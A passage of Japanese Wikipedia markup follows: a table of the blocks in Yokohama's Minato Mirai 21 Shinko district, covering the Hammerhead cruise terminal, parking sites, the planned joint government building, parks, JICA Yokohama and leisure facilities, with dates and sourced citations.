* [[新港 (横浜市)#新港埠頭の岸壁|新港地区9号岸壁]]を拡張整備し、その背後地に新たな客船ターミナルを整備<ref name="kanaloco160229"/>。
* 2017年度に開発事業者を決定(公民連携による[[プロポーザル方式|事業提案方式]])<ref name="kensetsunews170127"/><ref>[https://www.ymm21.jp/news/offering/offering6-1.php みなとみらい21地区6-1街区 新港地区客船ターミナル(仮称)等整備事業開発事業者募集情報](みなとみらいエリアマネジメント公式サイト ''2017年5月11日閲覧'')</ref><ref>[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2016/20170330-027-25179.html 新港地区客船ターミナル(仮称)施設等整備事業の開発事業者を募集します!]〈[https://web.archive.org/web/20190329222559/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2016/20170330-027-25179.html アーカイブ]〉(横浜市港湾局 平成29年 {{small|(2017年)}} 3月30日)</ref>。
** 開発事業者は[[横浜岡田屋]]を代表企業とする Yokohama Pier9{{small|(仮称)}}(他に[[ヨコハマグランドインターコンチネンタルホテル|横浜グランドインターコンチネンタルホテル]]、[[野村不動産]]など計7社で構成<!--横浜岡田屋を含めると計8社-->)<ref name="city-yokohama171004"/>。
* [[CIQ]]([[税関]]・[[出入国管理]]・[[検疫]])施設や商業・サービス施設、[[宿泊施設]]、[[駐車場]]、[[広場#交通広場と駅前広場|交通広場]]、[[プロムナード]]などを備えた複合施設とする方針<ref name="kensetsunews170127"/><ref name="city-yokohama171004"/>。
** 建物は5階建て(1階:CIQ施設/1-2階:商業施設、3-5階:ホテル<ref name="city-yokohama171004"/>)で、食をテーマにした商業施設なども入る<ref name="YHH-official"/><ref name="YH190611">[https://prtimes.jp/main/html/rd/p/000000181.000025694.html 『横浜ハンマーヘッド(YOKOHAMA HAMMERHEAD)』 YOKOHAMA HAMMERHEAD PROJECT~客船ターミナル/商業施設/ホテル概要についてのお知らせ~ 「客船ターミナル」「商業施設」「ホテル」 一体型複合施設総称決定](野村不動産ホールディングス株式会社 2019年6月11日〈PR TIMES〉)</ref>。
*** 客船施設「[[横浜ハンマーヘッド#新港ふ頭客船ターミナル|新港ふ頭客船ターミナル]]」:2019年11月4日に入港した[[カーニバル・コーポレーション]]の「[[ダイヤモンド・プリンセス (客船)|ダイヤモンド・プリンセス]]」が第1号入港船となる<ref name="YH190611"/>。
*** 商業施設「ハンマーヘッド SHOP&RESTAURANT」:飲食店を中心に25店舗([[レストラン]]や[[ファーストフード]]、[[カフェ]]、[[ラーメン]]、[[フードコート]]、[[コンビニエンスストア|コンビニ]]など)が出店し2019年10月開業<ref name="YHH-official"/><ref name="hamarepo190312"/><ref name="YH190611"/><ref name="YH-S&R190611">[https://prtimes.jp/main/html/rd/p/000000182.000025694.html 2019年10月開業 HAMMERHEAD SHOP&RESTAURANT 横浜ハンマーヘッド(YOKOHAMA HAMMERHEAD)~商業施設名および出店テナント決定のお知らせ~](野村不動産ホールディングス株式会社 2019年6月11日〈PR TIMES〉)</ref>。
*** ホテル「[[インターコンチネンタル横浜Pier 8|インターコンチネンタル横浜Pier 8 {{small|(ピアエイト)}}]]」:全173室のラグジュアリーなホテルとして2019年10月開業。横浜市では同じく当地区内の[[ヨコハマグランドインターコンチネンタルホテル]]に続く2軒目の[[インターコンチネンタルホテルズグループ#日本|インターコンチネンタルホテル]]となる<ref name="hamarepo190312"/><ref name="ICY-P8-190523">[https://prtimes.jp/main/html/rd/p/000000343.000002364.html 横浜・みなとみらい地区に、次なるシンボリックなインターコンチネンタルが誕生 2019年11月開業予定](インターコンチネンタル ホテルズ グループ(IHG)/IHG・ANA・ホテルズグループジャパン 2019年5月23日〈PR TIMES〉)</ref>。
(当施設への動線および臨海部の回遊性向上を目的として、[[新港サークルウォーク]]から当施設まで接続する歩行者デッキ{{small|〈約190m〉<ref>[https://www.kentsu.co.jp/webnews/view.asp?cd=200902400044&pub=1 横浜市 新港地区に190m歩行者デッキ](建通新聞{{small|〈電子版〉}} 2020年9月4日/神奈川)</ref>}}の整備も計画されている<ref name="city-yokohama210113"/><ref name="hamakore210114"/><ref>{{PDF|[https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/kowan/yosan/R3kouwanyosangaiyou.files/r3gaiyou.pdf 横浜市港湾局 令和3年 {{small|(2021年)}} 度予算概要]〈[https://web.archive.org/web/20210904160323/https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/kowan/yosan/R3kouwanyosangaiyou.files/r3gaiyou.pdf アーカイブ]〉}}(資料内「IV 観光と賑わいの港」 p.13{{small|〈2 賑わいのある港:① 臨海部の回遊性向上(新港歩行者デッキの整備)〉}})</ref>)<br />
{{small|(過去:区域内には[[東京芸術大学|東京藝術大学]]大学院映像研究科新港校舎<!--新港客船ターミナル映像文化施設-->や[[新港ピア]]<!--新港埠頭展示施設-->(2008年に[[横浜トリエンナーレ]]の会場として建設)があったが、2015年度に閉鎖となった)}}
|2018年6月着工<ref name="YHP180604"/><br />2019年10月開業<ref name="mm21-2020-yhp"/><ref name="hamarepo190312"/><br />(''[[定期借地権]]を設定''<ref name="kensetsunews170127"/>)
|-
|colspan="2"|[[横浜ハンマーヘッド#定期航路|新港ふ頭さん橋]](船乗り場/シーバス乗り場)||2020年9月供用<br />(シーバス:2022年4月定期航路開始)
|-
|6-2街区
|colspan="2"|暫定駐車場/[[緑地]]化予定<ref name="MM-info85"/><br />{{small|(新港ふ頭客船ターミナルの駐車場・車両待機場として<!--敷地の一部を-->一時利用する方針)}}
* 下記の方針などを踏まえ、2019年7月〜10月にかけて駐車場として[[アスファルト]][[舗装]]整備された。
** 6-1街区「新港ふ頭客船ターミナル」の計画では、当該区の敷地の一部を車両待機場([[迂回]]路)として一時利用する方針が示されている<ref name="yokohama-kokusai-ryokyakusen-keikaku2017">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2017/20171228-027-26768.html 「横浜港国際旅客船拠点形成計画」を作成しました] > {{PDFlink|[http://archive.city.yokohama.lg.jp/kowan/news/houdou/2017houdou/pdf/keikaku.pdf 横浜港国際旅客船拠点形成計画]〈[https://web.archive.org/web/20190330121403/http://archive.city.yokohama.lg.jp/kowan/news/houdou/2017houdou/pdf/keikaku.pdf アーカイブ]〉}}(横浜市 2017年12月)</ref>。
** 敷地内は「[[パーク24|タイムズ]]横浜ハンマーヘッド第2駐車場」([[横浜ハンマーヘッド#自動車|参照]])として利用されている。
|<!--客船ターミナルの車両待機場:-->''暫定施設''<br />{{small|(客船ターミナル関連一時利用)}}<!--<br />緑地化:''詳細未公表''-->
|-
|7街区
|colspan="2"|暫定駐車場/緑地兼駐車場整備予定(国際大通りを挟み新港中央広場の拡張<ref>[https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.html 景観計画・都市景観協議地区の策定~みなとみらい21新港地区~]:[https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.html#gaidorain みなとみらい21 新港地区 街並み景観ガイドライン](横浜市港湾局 平成22年 {{small|(2010年)}} 1月発行、令和3年 {{small|(2021年)}} 11月更新)の{{PDFlink|[https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.files/0029_20180820.pdf ガイドラインその5]〈[https://web.archive.org/web/20220616122124/https://www.city.yokohama.lg.jp/business/bunyabetsu/kowan/keikan/keikan.files/0029_20180820.pdf アーカイブ]〉}}、p.46以降「11 道路及び緑地に関する事項(景観重要公共施設)」参照</ref>)<ref name="MM-info85"/><ref name="yokohama-kankyosozo-shinko">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/midori-koen/midori_up/3ryokuka/chiikimidori/ryokuka/mm21shinkokeikaku.html 地域緑化計画・活動状況(みなとみらい21新港地区)]/{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/midori-koen/midori_up/3ryokuka/chiikimidori/ryokuka/mm21shinkokeikaku.files/0002_20180823.pdf 地域緑化計画書]〈[https://web.archive.org/web/20210904160318/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/midori-koen/midori_up/3ryokuka/chiikimidori/ryokuka/mm21shinkokeikaku.files/0002_20180823.pdf アーカイブ]〉}}(横浜市環境創造局)</ref><ref name="mm-syuhensanpo070509">[http://taccolinmm.livedoor.blog/archives/2282676.html 英断!? 7街区 緑地+地下駐車場建設へ!!](みなとみらい線周辺散歩日記 2007年5月9日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20161114233841/http://blogs.yahoo.co.jp/taccolin/49156407.html 2016年11月14日時点のアーカイブ])</ref><br />{{small|(新港ふ頭客船ターミナルの駐車場・寄港時バス待機場として、敷地の一部を一時利用する方針)}}
* 当街区に緑地兼駐車場(15年間の暫定利用を想定)を整備する方針が示され2012年度にも着工する予定としていた<ref name="mm-syuhensanpo070509"/>が、その後も動きがないまま暫く臨時駐車場として利用されていた。
* 2017年12月に横浜市港湾局が暫定駐車場の業務委託先を決定し、以降駐車スペースの配置(駐車台数含む)の検討など設計が進められた{{small|(※緑地の整備については今回の情報では不明)}}<ref>[http://www.kentsu.co.jp/webnews/html_top/171120400037.html 横浜市 新港7街区に暫定駐車場を整備](建通新聞{{small|〈電子版〉}} 2017年11月20日/神奈川)</ref>。
* 下記の方針などを踏まえ、2019年5月〜6月にかけて駐車場としてアスファルト舗装整備された。
** 6-1街区「新港ふ頭客船ターミナル」の計画では、当該区の敷地の一部を寄港時のバス待機場(ショットガン方式)として一時利用する方針が示されている<ref name="yokohama-kokusai-ryokyakusen-keikaku2017"/>。
** 敷地の一部は「タイムズ横浜ハンマーヘッド第3駐車場」([[横浜ハンマーヘッド#自動車|参照]])として利用されている。
: (敷地の一部は整備後も引き続き、観光バスなどの駐車場<!--{{small|(横浜赤レンガ倉庫臨時駐車場)}}-->となっている)
: (この他、上記客船ターミナルへの動線および臨海部の回遊性向上を目的として、当街区付近に新港サークルウォークの[[エスカレーター]]を設置{{small|〈2020年度整備〉<!--<ref name="city-yokohama-kouwankyokuH31yosan">{{PDF|[https://www.city.yokohama.lg.jp/city-info/yokohamashi/org/kowan/yosan/h31yosan.files/0001_20190307.pdf 横浜市港湾局 平成31年 {{small|(2019年)}} 度予算概要]}}(資料内「Ⅲ 国際競争力のある港づくり」 p.14{{small|〈4 客船クルーズ受入機能強化〉}}および p.17{{small|〈5 賑わいのある港〉}})</ref>-->}}している<ref name="city-yokohama210113"/><ref name="hamakore210114">[https://hamakore.yokohama/circlewalk-yokohama-minatomirai-20210114/ 横浜・新港サークルウォークにエスカレーター!新港ふ頭客船ターミナルに続くデッキは検討中](はまこれ横浜 2021年1月14日)</ref><ref name="yokohama-kowan210330">{{Cite press release |和書 |title=みなとみらい21地区の快適な歩行者ネットワークの形成に向け、 女神橋を全面供用し、新港サークルウォークをリニューアルします!|publisher=横浜市港湾局|date=2021-03-30|url=https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/20210330152407337.files/kouwannkyoku202103301000.pdf|format=PDF|accessdate=2021-04-28|archiveurl=https://web.archive.org/web/20210904160316/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/20210330152407337.files/kouwannkyoku202103301000.pdf|archivedate=2021-09-04}}<!--https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2020/20210330152407337.html--></ref>)
<!--{{small|(2019年7月末時点で、観光バス・契約車専用の駐車場となっている)}}<br />-->{{small|([[開国博Y150]]では「トゥモローパーク」の会場となった)}}
|<!--客船ターミナルのバス待機場および臨時駐車場:-->''暫定施設''<br />{{small|(客船ターミナル関連一時利用)}}<!--<br />緑地兼駐車場:着工時期未定<br />{{small|(当初:2012年度着工予定)}}<br />''暫定施設'' {{small|(15年間の予定)}}<ref name="mm-syuhensanpo070509"/>-->
|-
|8街区
|colspan="2"|[[新港 (横浜市)#緑地整備|新港中央広場]](汽車道と赤レンガ倉庫を結ぶ公共緑地広場)<ref name="MM-info85"/><br />
* 公共施設緑化整備の事業計画地に選定<ref name="yokohama-kankyosozo-shinko"/>。
(上記客船ターミナルへの動線および臨海部の回遊性向上を目的として、当街区付近に新港サークルウォークのエスカレーターを設置{{small|〈2020年度整備〉<!--<ref name="city-yokohama-kouwankyokuH31yosan"/>-->}}している<ref name="city-yokohama210113"/><ref name="hamakore210114"/><ref name="yokohama-kowan210330"/>)<br />{{small|(開国博Y150では「はじまりの森」の会場となった)}}
|2005年6月開園
|-
|rowspan="1"|9街区
|colspan="2"|横浜[[合同庁舎#地方合同庁舎|地方合同庁舎]]{{small|(仮称)}}整備等事業(管轄:[[国土交通省]][[地方整備局#関東地方整備局|関東地方整備局]])<br />〈国の[[出先機関]](15機関){{refnest|group="注"|2017年1月までの情報<ref name="kanaloco161208"/><ref name="hamarepo170110"/>より1機関(=横浜[[検疫所]]〈[[長浜 (横浜市)|長浜]]庁舎〉長浜措置場)減少した<ref name="mm9-yokohama-godochosya"/><ref name="nikkei171130"/>。}}を集約した新[[合同庁舎]]<!--〈横浜地方合同庁舎{{small|(仮称)}}整備事業〉--><ref name="mm9-yokohama-godochosya">[https://www.ktr.mlit.go.jp/eizen/shihon/index00000031.html 横浜地方合同庁舎(仮称)整備等事業](国土交通省関東地方整備局)</ref><ref name="nikkei171130">[https://www.nikkei.com/article/DGXMZO2410210030112017L82000/ 横浜MMに国の15機関集約 23年供用 整備局](日本経済新聞 2017年11月30日)</ref><ref name="kanaloco161208">[https://www.kanaloco.jp/news/government/entry-5393.html 国16機関を集約した新庁舎建設へ 横浜・MM21新港地区](神奈川新聞{{small|〈カナロコ〉}} 2016年12月8日)</ref><ref name="hamarepo170110">[http://hamarepo.com/story.php?story_id=5800 みなとみらいに新しくできる「合同庁舎」の詳細は?](はまれぽ.com 2017年1月10日)</ref><ref name="yokohama-chihogodochosya15">{{PDFlink|[https://www.ktr.mlit.go.jp/ktr_content/content/000627484.pdf 横浜地方合同庁舎(関東地方整備局事業評価監視委員会(平成27年度第2回)資料3-2-①)]〈[https://web.archive.org/web/20210904160334/https://www.ktr.mlit.go.jp/ktr_content/content/000627484.pdf アーカイブ]〉}}(国土交通省関東地方整備局 平成27年 {{small|(2015年)}} 7月10日 /参考:{{PDFlink|[https://www.ktr.mlit.go.jp/ktr_content/content/000089341.pdf 平成25年度版資料]〈[https://web.archive.org/web/20210904160343/https://www.ktr.mlit.go.jp/ktr_content/content/000089341.pdf アーカイブ]〉}})</ref>〉<br />
現在は国の機関が横浜地方合同庁舎(既存)や横浜第二港湾合同庁舎など市内の建物に分散しているが、建物の老朽化に加え執務スペース不足などの課題もあることから当地への移転集約が計画されている<ref name="mm9-yokohama-godochosya"/><ref name="nikkei171130"/><ref name="kanaloco161208"/><ref name="hamarepo170110"/><ref name="yokohama-chihogodochosya15"/>。
* 移転の対象となるのは[[東京国税局]]横浜中税務署や[[神奈川労働局#公共職業安定所(ハローワーク)|横浜公共職業安定所]]など15機関を予定<ref name="mm9-yokohama-godochosya"/><ref name="nikkei171130"/><ref name="kanaloco161208"/><ref name="hamarepo170110"/><ref name="yokohama-chihogodochosya15"/><ref name="ktr-mlit190304">{{PDFlink|[https://www.ktr.mlit.go.jp/ktr_content/content/000738988.pdf 横浜地方合同庁舎(仮称)整備等事業 民間事業者選定結果]〈[https://web.archive.org/web/20210904160350/https://www.ktr.mlit.go.jp/ktr_content/content/000738988.pdf アーカイブ]〉}}(国土交通省関東地方整備局:[https://www.ktr.mlit.go.jp/eizen/shihon/index00000031.html 横浜地方合同庁舎(仮称)整備等事業] 平成31年 {{small|(2019年)}} 3月4日)</ref><ref name="city-yokohama191227">{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks56.files/giji4ks56.pdf みなとみらい21新港地区9街区事業者提案に対する市の考え方]〈[https://web.archive.org/web/20210904160345/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks56.files/giji4ks56.pdf アーカイブ]〉}}(横浜市港湾局:[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks56.html 第56回横浜市都市美対策審議会景観審査部会議事録] 令和元年 {{small|(2019年)}} 12月27日)</ref><ref name="kensetsunews200602">[https://www.kensetsunews.com/archives/458396 戸田建設で9月着工/横浜地方合同庁舎/ヨコハマしんこうパートナーズ](建設通信新聞Digital 2020年6月2日4面〈関東・甲信〉/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20200608034009/https://www.kensetsunews.com/archives/458396 2020年6月8日時点のアーカイブ])</ref><ref name="building-pc200830">[http://building-pc.cocolog-nifty.com/helicopter/2020/08/post-2e3360.html 横浜みなとみらい21地区 新港地区9街区 国土交通省の15官署が入居する「横浜地方合同庁舎(仮称)整備等事業」 2020年9月着工!](東京・大阪 都心上空ヘリコプター遊覧飛行 2020年8月30日)</ref>。なおこの15機関の中には、横浜市の要望にある[[#50-67街区(新高島駅方面)|59街区]]・国土交通省関東地方整備局京浜港湾事務所の移転も含まれる<ref name="mm9-yokohama-godochosya"/><ref name="hamarepo170110"/><ref name="yokohama-chihogodochosya15"/><ref name="ktr-mlit190304"/><ref name="city-yokohama191227"/><ref name="building-pc200830"/>。
* [[横浜税関]]新港分関および横浜第一港湾合同庁舎等の敷地を再開発し<ref name="nikkei171130"/>、7階建て{{refnest|group="注"|過去には「2014年度を目処に7階建ての合同庁舎を完成させる」という報道<ref>[http://taccolinmm.livedoor.blog/archives/2282947.html 7階建て 合同庁舎建設へ!](みなとみらい線周辺散歩日記 2008年6月15日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20161229100520/http://blogs.yahoo.co.jp/taccolin/56832185.html 2016年12月29日時点のアーカイブ])</ref>や「2011年度を目処に10階建ての合同庁舎を完成させる」という報道<ref>[http://taccolinmm.livedoor.blog/archives/2283135.html 新港埠頭で10階建て。横浜地方合同庁舎](みなとみらい線周辺散歩日記 2009年6月9日/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20161114233544/http://blogs.yahoo.co.jp/taccolin/61549091.html 2016年11月14日時点のアーカイブ])</ref>もあったが、[[リーマン・ショック]]や[[東日本大震災]]などの影響で計画は大幅に遅れ、2016年12月になって「2022年度を目処に7階建ての合同庁舎を完成させる」という新たな方針が明らかとなった<ref name="kanaloco161208"/>{{small|(国土交通省が2009年度に[[事業計画]]を新規採択して以降、2013年度と2015年度に計画の見直し(再評価)が行われているが、今回の方針は後者の再評価時に示されたものである<ref name="yokohama-chihogodochosya15"/>)}}。}}(高さ約35m<!--高さ31m以下{{refnest|group="注"|該当地域(新港地区)の高さ制限による<ref>[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-036.html みなとみらい21新港地区地区計画]/{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/plan-rule/chikukeikaku/kubetsu/naka/c-036.files/0010_20210929.pdf 計画図]}}(横浜市都市整備局)</ref>。}}-->)の建物(合同庁舎)を整備する方針<ref name="kanaloco161208"/><ref name="yokohama-chihogodochosya15"/>。
* 2018年4月より[[競争入札|入札]]を実施し<ref name="nikkei171130"/><ref name="hamarepo180223">[http://hamarepo.com/story.php?story_id=6545 みなとみらいレポート第5回・広がる「みなとみらい」の完成はいつ?](はまれぽ.com 2018年2月23日)</ref>、同年12月に事業者([[PFI]]:BTO方式{{refnest|group="注"|'''BTO'''方式は、民間資金を利用するPFI事業方式の一つ。同一事業者が施設整備と運営(一定期間)を行いながらも、施設の所有権については完成後に[[公共]]に移転する方式。}}<ref name="hamarepo180223"/>)を決定した。事業者には[[戸田建設]]を代表とするグループ(後に[[特別目的会社]]としてヨコハマしんこうパートナーズ株式会社設立<ref>{{PDFlink|[http://www.pfipcj.co.jp/common/dl/support_034_20190522.pdf 横浜地方合同庁舎(仮称)整備等事業に関する支援決定について]}}(民間資金等活用事業推進機構 令和元年 {{small|(2019年)}} 5月22日)</ref>)が選ばれている<ref>{{PDFlink|[https://www.ktr.mlit.go.jp/ktr_content/content/000719216.pdf 横浜地方合同庁舎(仮称)整備等事業 民間事業者の選定について]}}(国土交通省関東地方整備局:[https://www.ktr.mlit.go.jp/eizen/shihon/index00000031.html 横浜地方合同庁舎(仮称)整備等事業] 平成30年 {{small|(2018年)}} 12月13日)</ref>。
* 合同庁舎の機能だけでなく、建物の一部を収益施設とする方針<ref name="nikkei171130"/>(売店や食堂のほか、協力企業に[[ファミリーマート]]が入っておりコンビニも出店予定<ref name="ktr-mlit190304"/><ref name="city-yokohama191227"/><ref name="building-pc200830"/>)。
* 敷地の一部に広場を設けるほか、建物内を貫く[[動線]]の確保や水際線プロムナード沿いの建物2階に憩いの空間として「しんこうデッキ」も整備する方針<ref name="ktr-mlit190304"/><ref name="city-yokohama191227"/><ref name="building-pc200830"/>。
* 上記再開発に向けて、2019年6月より既存建物の解体工事を実施している。
* 2020年2月、発見された[[埋蔵文化財]]の発掘調査を実施するため事業者のヨコハマしんこうパートナーズが横浜市に開発事業計画廃止届<ref>[https://cgi.city.yokohama.lg.jp/somu/reiki/reiki_honbun/g202RG00001311.html 横浜市開発事業の調整等に関する条例 {{small|(平成16年3月5日条例第3号/平成25年7月1日施行)}}] > [https://cgi.city.yokohama.lg.jp/somu/reiki/reiki_honbun/g202RG00001311.html#e000000699 第21条(開発事業の廃止)](横浜市〈市役所〉公式ウェブサイト内)</ref>を提出し、現地にも「開発事業の廃止のお知らせ」が掲示された<ref>[https://blog.goo.ne.jp/taro-x/e/e9c52ed1ceeaca5579f553bfeed43105 横浜・みなとみらい地区周辺 最近の話 2020年2月 その5](with Camera/港北太郎 2020年2月16日/[[archive.is|archive.today]]による[https://archive.is/vAn7K 2020年7月15日時点のアーカイブ])</ref>{{refnest|group="注"|同月時点で解体工事は既に完了しており、着工については横浜市都市整備局の2020年([[令和]]2年)度予算概要の資料によると同年9月を予定していた<ref>{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/0204r2yosangaiyou.files/0005_20200204.pdf 横浜市都市整備局 令和2年 {{small|(2020年)}} 度予算概要]〈[https://web.archive.org/web/20210904160357/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/0204r2yosangaiyou.files/0005_20200204.pdf アーカイブ]〉}}(資料内 p.13〈みなとみらい21地区 街区開発状況 {{small|(令和2年1月6日現在)}}〉)</ref>。}}。しかし、工期に影響はなく予定通り同年9月に着工(設計:[[梓設計]]、施工:戸田建設)している<ref name="kensetsunews200602"/><ref name="building-pc200830"/>。
{{small|(過去:横浜税関新港分関庁舎および横浜第一港湾合同庁舎の建物があった)}}<br />
{{small|(過去:<!--また、-->敷地の一部には時間貸し駐車場([[コインパーキング]]の[[三菱地所リアルエステートサービス|PEN]]・[[パーク24|タイムズ]])および赤レンガパーク臨時[[駐輪場]]もあったが、2018年2月に閉鎖された<ref>[https://blog.goo.ne.jp/taro-x/e/3ed4315ab9f1cc99d42bac794eaf909e 横浜・みなとみらい地区周辺 最近の話 2018年2月 その1](with Camera/港北太郎 2018年2月7日/[[archive.is|archive.today]]による[https://archive.is/3DXt5 2020年7月15日時点のアーカイブ])</ref>)}}
|2020年9月着工<ref name="city-yokohama191227"/><ref name="kensetsunews200602"/><ref name="building-pc200830"/><br />(2021年2月本着工)<br />2023年3月[[:wikt:竣工|竣工]]予定<ref name="city-yokohama191227"/><ref name="kensetsunews200602"/><ref name="building-pc200830"/><br />(同月供用開始予定<ref name="nikkei171130"/>)<br />{{refnest|group="注"|当地へ移転集約する方針については[[財務省 (日本)|財務省]]が2008年度に取りまとめた「庁舎等の移転・再配置計画案{{small|(東京23区外)}}」で最初に示され、翌2009年度には国土交通省が事業計画(横浜地方合同庁舎整備事業)を新規採択しているが<ref name="yokohama-chihogodochosya15"/>、その後に起きたリーマン・ショックや東日本大震災などの影響で計画が大幅に遅れることとなった<ref name="kanaloco161208"/><ref name="hamarepo170110"/>。}}
|-
|10街区
|colspan="2"|[[新港 (横浜市)#緑地整備|カップヌードルミュージアムパーク]](旧名称:新港パーク)<ref name="noodle-park" group="注"/>
* [[キャンプ#様々なカテゴリ|グランピング]]施設「DREAM DOOR YOKOHAMA HAMMERHEAD (ドリームドア ヨコハマハンマーヘッド)」(展望デッキも設置、2021年8月オープン<!--8月4日プレオープン、10月9日グランドオープン(※[[神奈川県における2019年コロナウイルス感染症の流行|新型コロナウイルス感染拡大]]により[[神奈川県]]内に発令されている[[緊急事態宣言及びまん延防止等重点措置|緊急事態宣言]]の延長に伴い、グランドオープンは当初予定の8月24日から延期〈参考:https://yokohama.dreamdoor.jp/topic/9〉)-->)<ref name="city-yokohama210714">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2021/0001_20210713.html みなとみらい21新港地区 カップヌードルミュージアムパーク内にグランピング施設がオープンします! ― 令和3年8月4日~8月22日プレオープン、令和3年8月24日グランドオープン ―]/{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2021/0001_20210713.files/0001_20210713.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20210716004619/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2021/0001_20210713.files/0001_20210713.pdf アーカイブ]〉}}(横浜市港湾局 令和3年 {{small|(2021年)}} 7月14日)</ref><ref name="travel-watch210714">[https://travel.watch.impress.co.jp/img/trw/docs/1338/061/html/02_o.jpg.html 横浜・カップヌードルミュージアムパークに、港を望むグランピング施設。8月4日プレオープン](トラベル Watch, 2021年7月14日)</ref><ref name="yokohama.dreamdoor-official">[https://yokohama.dreamdoor.jp/ DREAM DOOR YOKOHAMA HAMMERHEAD 公式サイト]</ref>
(国際橋より海側{{small|〈[[#18-25街区(みなとみらい駅方面)|ぷかりさん橋手前 (18街区)]] との間〉}}に新たな[[人道橋]]<!--{{small|〈仮称:みなとみらい歩行者デッキ (MMデッキ)〉}}-->「[[女神橋]]」を2020年度に架橋<!--し、2020年に供用開始予定--><ref name="hamarepo190312"/><ref name="yokohama-kowan210330"/><ref name="kanaloco181015">[https://www.kanaloco.jp/news/life/entry-37569.html 海に出られぬ日本丸 「生きた帆船」水路出口に歩道橋整備](神奈川新聞{{small|〈カナロコ〉}} 2018年10月15日)</ref><ref name="shinonome-ri2137-190217">[https://shinonome-ri.com/archives/2137 みなとみらい歩行者デッキ建設計画](東雲総合研究所 2019年2月17日)</ref><ref name="impress200127">[https://www.watch.impress.co.jp/docs/news/1231563.html みなとみらいの新歩行者デッキ名は「女神橋」「キングモール橋」](Impress Watch, 2020年1月27日)</ref><ref name="city-yokohama200127">{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2019/0127bridge_names.files/0001_20200127.pdf みなとみらい21地区の新たな歩行者デッキ2橋の名称が決定]〈[https://web.archive.org/web/20210904160318/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/kowan/2019/0127bridge_names.files/0001_20200127.pdf アーカイブ]〉}}(横浜市港湾局・都市整備局 令和2年 {{small|(2020年)}} 1月27日)</ref>)
|2001年4月開園
|-
|11-1街区
|colspan="2"|[[国際協力機構|JICA]]横浜(横浜センター〈旧:横浜国際センター〉/赤レンガ国際館)<ref>[http://www.jica.go.jp/yokohama/ JICA横浜](独立行政法人国際協力機構 (JICA) 公式サイト)</ref>
* [[国際協力機構#施設|海外移住資料館]](建物内2階)
* [https://www.jica.go.jp/yokohama/office/library/index.html 図書資料室](建物内2階)
* [https://www.jica.go.jp/yokohama/office/plaza/index.html JICAプラザよこはま](建物内2階)
* [https://www.jica.go.jp/yokohama/office/restaurant/index.html 港が見えるレストラン Port Terrace Cafe](建物内3階)
|2002年12月開設
|-
|rowspan="3"|11-2街区
|colspan="2"|[[安藤百福発明記念館 横浜]](カップヌードルミュージアム 横浜)<br />(事業者:[[日清食品ホールディングス]])
|2011年9月開業
|-
|colspan="2"|[[グランドオリエンタルみなとみらい]]<br />(大型チャペルなど[[ブライダル]]関連複合施設、事業者:ブライダル・プロデュース)<ref name="bridal-p1">[http://www.bridal-produce.co.jp/recruit/project/001/index.html プロジェクトストーリー:グランドオリエンタルみなとみらい](ブライダル・プロデュース公式サイト)</ref><ref name="bridal-p2">[http://www.grandoriental.jp/ グランドオリエンタルみなとみらい公式サイト]</ref>
* 一般客が利用可能なカフェ&レストラン・[[ギャラリー (美術)|アートギャラリー]]を併設。
* この他にイベント会場や[[コンサートホール]]としての施設利用も可能。
|2013年11月開業
|-
|colspan="2"|[[Audi みなとみらい]]<br />(カフェ併設の[[自動車]]ショールーム等関連施設、事業者:[[アウディ|アウディジャパン]])
|2013年8月開業
|-
|11-3街区
|colspan="2"|横浜みなとみらい[[万葉倶楽部]](日帰り温泉・宿泊施設)
|2005年6月開業
|-
|12,14街区
|colspan="2"|[[横浜ワールドポーターズ]]
* ワールドポーターズ[[ビブレ]]
* [[イオンシネマ]]みなとみらい{{small|(旧ワーナー・マイカル・シネマズ系)}}([[映画館]])
* 横浜ワールドビジネスサポートセンター
|1999年9月開業
|-
|13街区
|colspan="2"|[[ナビオス横浜]](横浜国際船員センター)
|1999年10月開業
|-
|15街区
|colspan="2"|[[よこはまコスモワールド]]
* [[コスモクロック21]](観覧車)
